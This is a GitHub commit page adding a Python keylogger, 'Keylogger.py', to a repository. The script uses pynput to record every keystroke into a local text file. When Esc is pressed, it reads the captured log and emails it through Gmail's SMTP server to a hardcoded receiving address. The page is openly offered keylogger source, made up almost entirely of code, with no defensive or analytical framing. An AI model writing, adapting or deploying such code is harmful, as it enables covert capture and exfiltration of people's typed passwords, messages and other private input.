Skip to content

Commit

Permalink
First python keylogger
Browse files Browse the repository at this point in the history
  • Loading branch information
phong260702 authored Sep 17, 2022
1 parent dcbdd19 commit 8df78ef
Showing 1 changed file with 60 additions and 0 deletions.
60 changes: 60 additions & 0 deletions Keylogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
from pynput import keyboard
import smtplib, ssl

sender_mail = "" # Replace with email

receiver_mail = "[email protected]" # Replace email id
password = "T" # Enter Password
port = 587
message = """From: [email protected]
To: [email protected]
Subject: KeyLogs
Text: Keylogs
"""


def write(text):
with open("keylogger.txt", 'a') as f:
f.write(text)
f.close()


def on_key_press(Key):
try:
if (Key == keyboard.Key.enter):
write("\n")
else:
write(Key.char)
except AttributeError:
if Key == keyboard.Key.backspace:
write("\nBackspace Pressed\n")
elif (Key == keyboard.Key.tab):
write("\nTab Pressed\n")
elif (Key == keyboard.Key.space):
write(" ")
else:
temp = repr(Key) + " Pressed.\n"
write(temp)
print("\n{} Pressed\n".format(Key))


def on_key_release(Key):
if (Key == keyboard.Key.esc):
return False


with keyboard.Listener(on_press=on_key_press, on_release=on_key_release) as listener:
listener.join()

with open("keylogger.txt", 'r') as f:
temp = f.read()
message = message + str(temp)
f.close()

context = ssl.create_default_context()
server = smtplib.SMTP('smtp.gmail.com', port)
server.starttls()
server.login(sender_mail, password)
server.sendmail(sender_mail, receiver_mail, message)
print("Email Sent to ", sender_mail)
server.quit()

0 comments on commit 8df78ef

Please sign in to comment.